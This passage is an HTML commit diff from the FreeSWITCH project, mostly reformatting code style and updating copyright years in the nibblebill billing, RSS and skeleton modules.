</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="lines">@@ -397,9 +400,9 @@
</span><span class="cx">         if (globals.memcached) {
</span><span class="cx">                 memcached_free(globals.memcached);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_unbind(&NODE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_nibblebillmod_nibblebillc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_nibblebill/mod_nibblebill.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_nibblebill/mod_nibblebill.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_nibblebill/mod_nibblebill.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -53,31 +53,28 @@
</span><span class="cx"> static char SQL_LOOKUP[] = "SELECT %s FROM %s WHERE %s='%s'";
</span><span class="cx"> static char SQL_SAVE[] = "UPDATE %s SET %s=%s-%f WHERE %s='%s'";
</span><span class="cx">
</span><del>-typedef struct
-{
-        switch_time_t lastts;        /* Last time we did any billing */
-        float total;        /* Total amount billed so far */
</del><ins>+typedef struct {
+        switch_time_t lastts;                /* Last time we did any billing */
+        float total;                                /* Total amount billed so far */
</ins><span class="cx">
</span><del>-        switch_time_t pausets;        /* Timestamp of when a pause action started. 0 if not paused */
-        float bill_adjustments;        /* Adjustments to make to the next billing, based on pause/resume events */
</del><ins>+        switch_time_t pausets;                /* Timestamp of when a pause action started. 0 if not paused */
+        float bill_adjustments;                /* Adjustments to make to the next billing, based on pause/resume events */
</ins><span class="cx">
</span><span class="cx"> } nibble_data_t;
</span><span class="cx">
</span><span class="cx">
</span><del>-typedef struct nibblebill_results
-{
-        float        balance;
</del><ins>+typedef struct nibblebill_results {
+        float balance;
</ins><span class="cx">
</span><del>-        float        percall_max; /* Overrides global on a per-user level */
-        float        lowbal_amt; /* ditto */
</del><ins>+        float percall_max;                        /* Overrides global on a per-user level */
+        float lowbal_amt;                        /* ditto */
</ins><span class="cx"> } nibblebill_results_t;
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> /* Keep track of our config, event hooks and database connection variables, for this module only */
</span><del>-static struct
-{
</del><ins>+static struct {
</ins><span class="cx">         /* Memory */
</span><del>- switch_memory_pool_t *pool;
</del><ins>+        switch_memory_pool_t *pool;
</ins><span class="cx">
</span><span class="cx">         /* Event hooks */
</span><span class="cx">         switch_event_node_t *node;
</span><span class="lines">@@ -86,15 +83,15 @@
</span><span class="cx">         switch_mutex_t *mutex;
</span><span class="cx">
</span><span class="cx">         /* Global billing config options */
</span><del>-        float        percall_max_amt;        /* Per-call billing limit (safety check, for fraud) */
-        char        *percall_action;        /* Exceeded length of per-call action */
-        float        lowbal_amt;                /* When we warn them they are near depletion */
-        char        *lowbal_action;                /* Low balance action */
-        float        nobal_amt;                /* Minimum amount that must remain in the account */
-        char        *nobal_action;                /* Drop action */
</del><ins>+        float percall_max_amt;                /* Per-call billing limit (safety check, for fraud) */
+        char *percall_action;                /* Exceeded length of per-call action */
+        float lowbal_amt;                        /* When we warn them they are near depletion */
+        char *lowbal_action;                /* Low balance action */
+        float nobal_amt;                        /* Minimum amount that must remain in the account */
+        char *nobal_action;                        /* Drop action */
</ins><span class="cx">
</span><span class="cx">         /* Other options */
</span><del>-        int        global_heartbeat;        /* Supervise and bill every X seconds, 0 means off */
</del><ins>+        int global_heartbeat;                /* Supervise and bill every X seconds, 0 means off */
</ins><span class="cx">
</span><span class="cx">         /* Database settings */
</span><span class="cx">         char *db_username;
</span><span class="lines">@@ -135,7 +132,7 @@
</span><span class="cx"> {
</span><span class="cx">         nibblebill_results_t *cbt = (nibblebill_results_t *) pArg;
</span><span class="cx">
</span><del>-        cbt->balance = (float)atof(argv[0]);
</del><ins>+        cbt->balance = (float) atof(argv[0]);
</ins><span class="cx">
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="lines">@@ -145,13 +142,13 @@
</span><span class="cx">         char *cf = "nibblebill.conf";
</span><span class="cx">         switch_xml_t cfg, xml = NULL, param, settings;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "open of %s failed\n", cf);
</span><del>-                status = SWITCH_STATUS_SUCCESS; /* We don't fail because we can still write to a text file or buffer */
</del><ins>+                status = SWITCH_STATUS_SUCCESS;        /* We don't fail because we can still write to a text file or buffer */
</ins><span class="cx">                 goto setdefaults;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((settings = switch_xml_child(cfg, "settings"))) {
</span><span class="cx">                 for (param = switch_xml_child(settings, "param"); param; param = param->next) {
</span><span class="cx">                         char *var = (char *) switch_xml_attr_soft(param, "name");
</span><span class="lines">@@ -172,23 +169,23 @@
</span><span class="cx">                         } else if (!strcasecmp(var, "percall_action")) {
</span><span class="cx">                                 set_global_percall_action(val);
</span><span class="cx">                         } else if (!strcasecmp(var, "percall_max_amt")) {
</span><del>-                                globals.percall_max_amt = (float)atof(val);
</del><ins>+                                globals.percall_max_amt = (float) atof(val);
</ins><span class="cx">                         } else if (!strcasecmp(var, "lowbal_action")) {
</span><span class="cx">                                 set_global_lowbal_action(val);
</span><span class="cx">                         } else if (!strcasecmp(var, "lowbal_amt")) {
</span><del>-                                globals.lowbal_amt = (float)atof(val);
</del><ins>+                                globals.lowbal_amt = (float) atof(val);
</ins><span class="cx">                         } else if (!strcasecmp(var, "nobal_action")) {
</span><span class="cx">                                 set_global_nobal_action(val);
</span><span class="cx">                         } else if (!strcasecmp(var, "nobal_amt")) {
</span><del>-                                globals.nobal_amt = (float)atof(val);
</del><ins>+                                globals.nobal_amt = (float) atof(val);
</ins><span class="cx">                         } else if (!strcasecmp(var, "global_heartbeat")) {
</span><span class="cx">                                 globals.global_heartbeat = atoi(val);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx"> /* Set defaults for any variables still not set */
</span><del>-setdefaults:
</del><ins>+ setdefaults:
</ins><span class="cx">         if (zstr(globals.db_username)) {
</span><span class="cx">                 set_global_db_username("bandwidth.com");
</span><span class="cx">         }
</span><span class="lines">@@ -218,7 +215,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (switch_odbc_handle_connect(globals.master_odbc) != SWITCH_ODBC_SUCCESS) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT,
</ins><span class="cx">                                                          "Cannot connect to ODBC driver/database %s (user: %s / pass %s)!\n",
</span><span class="cx">                                                          globals.db_dsn, globals.db_username, globals.db_password);
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -232,7 +229,7 @@
</span><span class="cx">                                                  "ODBC does not appear to be installed in the core. You need to run ./configure --enable-core-odbc-support\n");
</span><span class="cx">         }
</span><span class="cx">
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">         if (xml) {
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="cx">         }
</span><span class="lines">@@ -241,7 +238,7 @@
</span><span class="cx">
</span><span class="cx"> void debug_event_handler(switch_event_t *event)
</span><span class="cx"> {
</span><del>-         if (!event) {
</del><ins>+        if (!event) {
</ins><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -305,8 +302,9 @@
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_snprintf(sql, 1024, SQL_SAVE, globals.db_table, globals.db_column_cash, globals.db_column_cash, billamount, globals.db_column_account, billaccount);
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing update query\n[%s]\n", sql);
</del><ins>+        switch_snprintf(sql, 1024, SQL_SAVE, globals.db_table, globals.db_column_cash, globals.db_column_cash, billamount, globals.db_column_account,
+                                        billaccount);
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Doing update query\n[%s]\n", sql);
</ins><span class="cx">
</span><span class="cx">         if (switch_odbc_handle_exec(globals.master_odbc, sql, &stmt, NULL) != SWITCH_ODBC_SUCCESS) {
</span><span class="cx">                 char *err_str;
</span><span class="lines">@@ -347,9 +345,9 @@
</span><span class="cx">                 /* Successfully retrieved! */
</span><span class="cx">                 balance = pdata.balance;
</span><span class="cx">
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Retrieved current balance for account %s (balance = %f)\n", billaccount, balance);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Retrieved current balance for account %s (balance = %f)\n", billaccount, balance);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return balance;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -394,7 +392,8 @@
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Attempting to bill at $%s per minute to account %s\n", billrate, billaccount);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Attempting to bill at $%s per minute to account %s\n", billrate,
+                                         billaccount);
</ins><span class="cx">
</span><span class="cx">         /* Get caller profile info from channel */
</span><span class="cx">         profile = switch_channel_get_caller_profile(channel);
</span><span class="lines">@@ -409,10 +408,11 @@
</span><span class="cx">
</span><span class="cx">                 /* See if this person has enough money left to continue the call */
</span><span class="cx">                 balance = get_balance(billaccount);
</span><del>-switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Comparing %f to hangup balance of %f\n", balance, globals.nobal_amt);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Comparing %f to hangup balance of %f\n", balance, globals.nobal_amt);
</ins><span class="cx">                 if (balance <= globals.nobal_amt) {
</span><span class="cx">                         /* Not enough money - reroute call to nobal location */
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n", balance, globals.nobal_amt, billaccount);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n",
+                                                         balance, globals.nobal_amt, billaccount);
</ins><span class="cx">
</span><span class="cx">                         transfer_call(session, globals.nobal_action);
</span><span class="cx">                 }
</span><span class="lines">@@ -443,7 +443,7 @@
</span><span class="cx">                 memset(nibble_data, 0, sizeof(*nibble_data));
</span><span class="cx">
</span><span class="cx">                 /* Setup new billing data (based on call answer time, in case this module started late with active calls) */
</span><del>-                nibble_data->lastts = profile->times->answered;                /* Set the initial answer time to match when the call was really answered */
</del><ins>+                nibble_data->lastts = profile->times->answered;        /* Set the initial answer time to match when the call was really answered */
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Beginning new billing on %s\n", uuid);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Last successful billing time was %s\n", date);
</span><span class="lines">@@ -452,13 +452,15 @@
</span><span class="cx">         switch_time_exp_lt(&tm, nibble_data->lastts);
</span><span class="cx">         switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%d seconds passed since last bill time of %s\n", (int) ((ts - nibble_data->lastts) / 1000000), date);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%d seconds passed since last bill time of %s\n",
+                                         (int) ((ts - nibble_data->lastts) / 1000000), date);
</ins><span class="cx">
</span><span class="cx">         if ((ts - nibble_data->lastts) >= 0) {
</span><span class="cx">                 /* Convert billrate into microseconds and multiply by # of microseconds that have passed since last *successful* bill */
</span><del>-                billamount = ((float)atof(billrate) / 1000000 / 60) * ((ts - nibble_data->lastts)) - nibble_data->bill_adjustments;
</del><ins>+                billamount = ((float) atof(billrate) / 1000000 / 60) * ((ts - nibble_data->lastts)) - nibble_data->bill_adjustments;
</ins><span class="cx">
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Billing $%f to %s (Call: %s / %f so far)\n", billamount, billaccount, uuid, nibble_data->total);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Billing $%f to %s (Call: %s / %f so far)\n", billamount, billaccount,
+                                                 uuid, nibble_data->total);
</ins><span class="cx">
</span><span class="cx">                 /* DO ODBC BILLING HERE and reset counters if it's successful! */
</span><span class="cx">                 if (bill_event(billamount, billaccount) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -474,7 +476,8 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Failed to log to database!\n");
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Just tried to bill %s negative minutes! That should be impossible.\n", uuid);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Just tried to bill %s negative minutes! That should be impossible.\n",
+                                                 uuid);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* Update the last time we billed */
</span><span class="lines">@@ -488,7 +491,8 @@
</span><span class="cx">                 balance = get_balance(billaccount);
</span><span class="cx">                 if (balance <= globals.nobal_amt) {
</span><span class="cx">                         /* Not enough money - reroute call to nobal location */
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n", balance, globals.nobal_amt, billaccount);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Balance of %f fell below allowed amount of %f! (Account %s)\n",
+                                                         balance, globals.nobal_amt, billaccount);
</ins><span class="cx">
</span><span class="cx">                         /* IMPORTANT: Billing must be paused before the transfer occurs! This prevents infinite loops, since the transfer will result */
</span><span class="cx">                         /* in nibblebill checking the call again in the routing process for an allowed balance! */
</span><span class="lines">@@ -496,7 +500,7 @@
</span><span class="cx">                         nibblebill_pause(session);
</span><span class="cx">                         transfer_call(session, globals.nobal_action);
</span><span class="cx">                 }
</span><del>- }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         /* Done changing - release lock */
</span><span class="lines">@@ -515,18 +519,18 @@
</span><span class="cx">         switch_core_session_t *session;
</span><span class="cx">         char *uuid;
</span><span class="cx">
</span><del>-        if (!event){
</del><ins>+        if (!event) {
</ins><span class="cx">                 /* We should never get here - it means an event came in without the event info */
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* Make sure everything is sane */
</span><del>-        if (!(uuid = switch_event_get_header(event, "Unique-ID"))){
</del><ins>+        if (!(uuid = switch_event_get_header(event, "Unique-ID"))) {
</ins><span class="cx">                 /* Donde esta channel? */
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Received request via %s!\n", switch_event_name (event->event_id));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Received request via %s!\n", switch_event_name(event->event_id));
</ins><span class="cx">
</span><span class="cx">         /* Display debugging info */
</span><span class="cx">         if (switch_event_get_header(event, "nibble_debug")) {
</span><span class="lines">@@ -594,12 +598,14 @@
</span><span class="cx">         nibble_data = (nibble_data_t *) switch_channel_get_private(channel, "_nibble_data_");
</span><span class="cx">
</span><span class="cx">         if (!nibble_data) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Can't resume - channel is not initialized for billing (This is expected at hangup time)!\n");
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+                                                 "Can't resume - channel is not initialized for billing (This is expected at hangup time)!\n");
</ins><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (nibble_data->pausets == 0) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Can't resume - channel is not paused! (This is expected at hangup time)\n");
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+                                                 "Can't resume - channel is not paused! (This is expected at hangup time)\n");
</ins><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -611,8 +617,9 @@
</span><span class="cx">         billrate = switch_channel_get_variable(channel, "nibble_rate");
</span><span class="cx">
</span><span class="cx">         /* Calculate how much was "lost" to billings during pause - we do this here because you never know when the billrate may change during a call */
</span><del>-        nibble_data->bill_adjustments += ((float)atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets));
-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Resumed billing! Subtracted %f from this billing cycle.\n", (atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets)));
</del><ins>+        nibble_data->bill_adjustments += ((float) atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets));
+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Resumed billing! Subtracted %f from this billing cycle.\n",
+                                         (atof(billrate) / 1000000 / 60) * ((ts - nibble_data->pausets)));
</ins><span class="cx">
</span><span class="cx">         nibble_data->pausets = 0;
</span><span class="cx">
</span><span class="lines">@@ -699,7 +706,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* Variables kept in FS but relevant only to this module */
</span><del>-        
</del><ins>+
</ins><span class="cx">         billaccount = switch_channel_get_variable(channel, "nibble_account");
</span><span class="cx">
</span><span class="cx">         /* Return if there's no billing information on this session */
</span><span class="lines">@@ -725,7 +732,7 @@
</span><span class="cx">         if (!zstr(data) && (lbuf = strdup(data))
</span><span class="cx">                 && (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                 if (!strcasecmp(argv[0], "adjust") && argc == 2) {
</span><del>-                        nibblebill_adjust(session, (float)atof(argv[1]));
</del><ins>+                        nibblebill_adjust(session, (float) atof(argv[1]));
</ins><span class="cx">                 } else if (!strcasecmp(argv[0], "flush")) {
</span><span class="cx">                         do_billing(session);
</span><span class="cx">                 } else if (!strcasecmp(argv[0], "pause")) {
</span><span class="lines">@@ -760,7 +767,7 @@
</span><span class="cx">                                 channel = switch_core_session_get_channel(psession);
</span><span class="cx">
</span><span class="cx">                                 if (!strcasecmp(argv[1], "adjust") && argc == 3) {
</span><del>-                                        nibblebill_adjust(psession, (float)atof(argv[2]));
</del><ins>+                                        nibblebill_adjust(psession, (float) atof(argv[2]));
</ins><span class="cx">                                 } else if (!strcasecmp(argv[1], "flush")) {
</span><span class="cx">                                         do_billing(psession);
</span><span class="cx">                                 } else if (!strcasecmp(argv[1], "pause")) {
</span><span class="lines">@@ -805,7 +812,7 @@
</span><span class="cx"> static switch_status_t process_hangup(switch_core_session_t *session)
</span><span class="cx"> {
</span><span class="cx">         /* Resume any paused billings, just in case */
</span><del>-        //        nibblebill_resume(session);
</del><ins>+        // nibblebill_resume(session);
</ins><span class="cx">
</span><span class="cx">         /* Now go handle like normal billing */
</span><span class="cx">         do_billing(session);
</span><span class="lines">@@ -813,17 +820,19 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-switch_state_handler_table_t nibble_state_handler =
-{
-        /* on_init */         NULL,
-        /* on_routing */         process_hangup,        /* Need to add a check here for anything in their account before routing */
-        /* on_execute */         sched_billing, /* Turn on heartbeat for this session and do an initial account check */
-        /* on_hangup */         process_hangup, /* On hangup - most important place to go bill */
-        /* on_exch_media */         sched_billing,
-        /* on_soft_exec */         NULL,
-        /* on_consume_med */         NULL,
-        /* on_hibernate */         NULL,
-        /* on_reset */         NULL
</del><ins>+switch_state_handler_table_t nibble_state_handler = {
+        /* on_init */ NULL,
+                                                                                /* on_routing */ process_hangup,
+                                                                                /* Need to add a check here for anything in their account before routing */
+                                                                        /* on_execute */ sched_billing,
+                                                                        /* Turn on heartbeat for this session and do an initial account check */
+                                                                        /* on_hangup */ process_hangup,
+                                                                        /* On hangup - most important place to go bill */
+        /* on_exch_media */ sched_billing,
+        /* on_soft_exec */ NULL,
+        /* on_consume_med */ NULL,
+        /* on_hibernate */ NULL,
+        /* on_reset */ NULL
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_nibblebill_load)
</span><span class="lines">@@ -831,13 +840,13 @@
</span><span class="cx">         switch_api_interface_t *api_interface;
</span><span class="cx">         switch_application_interface_t *app_interface;
</span><span class="cx">
</span><del>-        /* Set every byte in this structure to 0 */        
</del><ins>+        /* Set every byte in this structure to 0 */
</ins><span class="cx">         memset(&globals, 0, sizeof(globals));
</span><span class="cx">         globals.pool = pool;
</span><span class="cx">         switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, globals.pool);
</span><span class="cx">
</span><span class="cx">         load_config();
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">
</span><span class="lines">@@ -845,13 +854,16 @@
</span><span class="cx">         SWITCH_ADD_API(api_interface, "nibblebill", "Manage billing parameters for a channel/call", nibblebill_api_function, API_SYNTAX);
</span><span class="cx">
</span><span class="cx">         /* Add dialplan applications */
</span><del>-        SWITCH_ADD_APP(app_interface, "nibblebill", "Handle billing for the current channel/call", "Pause, resume, reset, adjust, flush, heartbeat commands to handle billing.", nibblebill_app_function, APP_SYNTAX, SAF_NONE | SAF_ROUTING_EXEC);
</del><ins>+        SWITCH_ADD_APP(app_interface, "nibblebill", "Handle billing for the current channel/call",
+                                 "Pause, resume, reset, adjust, flush, heartbeat commands to handle billing.", nibblebill_app_function, APP_SYNTAX,
+                                 SAF_NONE | SAF_ROUTING_EXEC);
</ins><span class="cx">
</span><span class="cx">         /* register state handlers for billing */
</span><span class="cx">         switch_core_add_state_handler(&nibble_state_handler);
</span><span class="cx">
</span><span class="cx">         /* bind to heartbeat events */
</span><del>-        if (switch_event_bind_removable(modname, SWITCH_EVENT_SESSION_HEARTBEAT, SWITCH_EVENT_SUBCLASS_ANY, event_handler, NULL, &globals.node) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_event_bind_removable(modname, SWITCH_EVENT_SESSION_HEARTBEAT, SWITCH_EVENT_SUBCLASS_ANY, event_handler, NULL, &globals.node) !=
+                SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event to monitor for session heartbeats!\n");
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="lines">@@ -861,7 +873,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_nibblebill_shutdown)
</span><del>-{        
</del><ins>+{
</ins><span class="cx">         switch_event_unbind(&globals.node);
</span><span class="cx">         switch_core_remove_state_handler(&nibble_state_handler);
</span><span class="cx">         switch_odbc_handle_disconnect(globals.master_odbc);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_rssmod_rssc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_rss/mod_rss.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_rss/mod_rss.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_rss/mod_rss.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -184,9 +184,9 @@
</span><span class="cx">         switch_input_args_t args = { 0 };
</span><span class="cx">         const char *vcf = NULL;
</span><span class="cx">         char *chanvars = switch_channel_build_param_string(channel, NULL, NULL);
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         uint32_t rate, interval;
</span><del>- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">         interval = read_impl.microseconds_per_packet / 1000;
</span><span class="cx">
</span><span class="cx">         if ((vcf = switch_channel_get_variable(channel, "rss_alt_config"))) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_skelmod_skelc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_skel/mod_skel.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_skel/mod_skel.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_skel/mod_skel.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -55,42 +55,46 @@
</span><span class="cx">         int integer;
</span><span class="cx"> } globals;
</span><span class="cx">
</span><del>-static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
</del><ins>+static switch_status_t config_callback_siptrace(switch_xml_config_item_t *data, switch_config_callback_type_t callback_type, switch_bool_t changed)
</ins><span class="cx"> {
</span><del>-        switch_bool_t value = *(switch_bool_t*)data->ptr;
</del><ins>+        switch_bool_t value = *(switch_bool_t *) data->ptr;
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "In siptrace callback: value %s changed %s\n",
</span><del>-                value ? "true" : "false", changed ? "true" : "false");
-        
-        
</del><ins>+                                         value ? "true" : "false", changed ? "true" : "false");
+
+
</ins><span class="cx">         /*
</span><del>-        if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
-                nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
-        }
-        */
-        
</del><ins>+         if ((callback_type == CONFIG_LOG || callback_type == CONFIG_RELOAD) && changed) {
+         nua_set_params(((sofia_profile_t*)data->functiondata)->nua, TPTAG_LOG(value), TAG_END());
+         }
+         */
+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_xml_config_string_options_t config_opt_codec_negotiation = { NULL, 0, "greedy|generous|evil" };
</span><ins>+
</ins><span class="cx"> /* enforce_min, min, enforce_max, max */
</span><span class="cx"> static switch_xml_config_int_options_t config_opt_integer = { SWITCH_TRUE, 0, SWITCH_TRUE, 10 };
</span><del>-static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
-        { "greedy", CODEC_NEGOTIATION_GREEDY },
-        { "generous", CODEC_NEGOTIATION_GENEROUS },
-        { "evil", CODEC_NEGOTIATION_EVIL },
-        { NULL, 0 }
</del><ins>+static switch_xml_config_enum_item_t config_opt_codec_negotiation_enum[] = {
+        {"greedy", CODEC_NEGOTIATION_GREEDY},
+        {"generous", CODEC_NEGOTIATION_GENEROUS},
+        {"evil", CODEC_NEGOTIATION_EVIL},
+        {NULL, 0}
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> static switch_xml_config_item_t instructions[] = {
</span><span class="cx">         /* parameter name type reloadable pointer default value options structure */
